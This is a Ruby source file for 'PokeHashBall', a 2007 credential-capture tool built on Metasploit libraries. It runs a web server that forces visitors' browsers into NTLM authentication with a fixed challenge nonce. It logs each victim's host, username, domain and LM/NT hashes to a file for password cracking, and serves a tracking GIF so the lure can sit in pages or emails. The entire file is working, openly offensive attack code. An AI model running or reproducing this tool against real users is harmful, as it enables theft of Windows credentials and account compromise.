#!/usr/bin/env ruby # PokeHashBall! Capture NTLM/LM hashes via HTTP # # Output is in Unicode format, you'll need to edit it before using it # with some password crackers. # # Author: Kurt Grutzmacher # Copyright (c) 2007 # Rev history: # # v1.0 - 10/13/07 - initial release! Yay! # # NTLM auth over HTTP info: # http://davenport.sourceforge.net/ntlm.html (new) # http://www.innovation.ch/personal/ronald/ntlm.html (old) # Details when Internet Explorer sends hashes or popup box # http://support.microsoft.com/kb/258063 require 'webrick' include WEBrick msfbase = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__ $:.unshift(File.join(File.dirname(msfbase), 'lib')) require 'rex' require 'msf/core' class NTLMMessageServlet < HTTPServlet::AbstractServlet def do_GET(req, resp) if (!req['Authorization']) resp['WWW-Authenticate'] = "NTLM" resp['Content-Type'] = "text/html" resp.keep_alive = false raise HTTPStatus::Unauthorized else ntlmauth = req['Authorization'].split(" ").last decode = Rex::Text.decode_base64(ntlmauth.strip) type = decode[8] if type == 1 then puts " -*- Type 1 message seen" type2msg = Rex::Proto::SMB::Utils.process_type1_message(ntlmauth, $c['nonce'], $c['domain'], $c['server'], $c['dns_name'], $c['dns_domain']) resp['WWW-Authenticate'] = "NTLM #{type2msg}" resp.keep_alive = true resp.status = 401 elsif type == 3 then puts " -*- Type 3 message seen" (domain, user, host, lm, nt) = Rex::Proto::SMB::Utils.process_type3_message(ntlmauth) puts "AUTHORIZATION FOUND: #{host}/#{user}:#{domain}:#{lm}:#{nt}" fd = File.open("ntlmhttp-output.txt", "a") nonce = $c['nonce'].unpack('h*') fd.puts("#{host}/#{user}:#{domain}:#{nonce}:#{lm}:#{nt}") fd.close resp.keep_alive = false resp.status = 200 resp.body = $c['gif'] resp['Content-Type'] = "image/gif" else puts " -!- Type #{type}?! That's not a 1 or a 3!" resp.keep_alive = false resp.status = 200 resp.body = $c['gif'] resp['Content-Type'] = "image/gif" end end end #alias do_POST, do_GET end # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- # Main server start # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- puts "PokeHashBall v1.0 - capture NTLM hashes via HTTP\n\n" puts "(c) 2007 by Kurt Grutzmacher - grutz @ jingojango.net\n\n" if ARGV.length != 4 then puts "Example:" puts "\tntlmwebrick 8080 DOMAIN SERVER domain.com\n\n" exit(1) end $c = {} $c['port'] = ARGV[0].to_i $c['domain'] = ARGV[1] $c['server'] = ARGV[2] $c['dns_name'] = "#{$c['server'].downcase}" $c['dns_domain'] = ARGV[3] $c['nonce'] = "\x11\x22\x33\x44\x55\x66\x77\x88" # change this to whatever GIF file you want to send out. fd = File.open("web_bug.gif", "rb") $c['gif'] = fd.read fd.close puts "NTLMwebrick configured as #{$c['server']}/#{$c['domain']}@#{$c['dns_name']}" puts "nonce = #{$c['nonce'].unpack('h*')}\n\n" webserver = HTTPServer.new( :Port => $c['port'] ) ['INT', 'TERM'].each { |signal| trap(signal){ webserver.shutdown} } webserver.mount('/', NTLMMessageServlet) webserver.start